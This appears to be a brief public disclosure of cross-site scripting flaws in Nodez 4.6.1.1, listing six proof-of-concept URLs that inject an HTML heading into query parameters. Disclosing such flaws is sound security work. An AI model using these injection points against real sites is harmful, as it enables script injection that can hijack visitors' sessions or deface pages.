Nodez version 4.6.1.1 is susceptible to multiple cross site scripting flaws.
82a3c5d82fb2dc7b094bdd6c7e7c0b3a[Description]: Nodez is a young, but strong, open source Content Manager. Nodez is designed to be as modular, stable and lightweight as possible
[version]: Version 4.6.1.1
[vendor]: http://nodez.greentinted.com
[Vulnerability]: cross site script
[sploit]
http://[host]/[nodez]/?node=system&op=filenotfound&file=<h1>x1ng<h1/>
http://[host]/[nodez]/?node=system&op=<h1>x1ng<h1/>
http://[host]/[nodez]/?node=system&op=blockop&block=10&bop=<h1>x1ng<h1/>
http://[host]/[nodez]/?node=system&op=extop&ext=nodez_system_ext&eop=<h1>x1ng<h1/>
http://[host]/[nodez]/?node=system&op=extop&ext=<h1>x1ng<h1/>
http://[host]/[nodez]/?node=1041&op=topic&id=<h1>x1ng<h1/>
X1ngBox |4t| gmail C0m
Comments
No comments yet, be the first!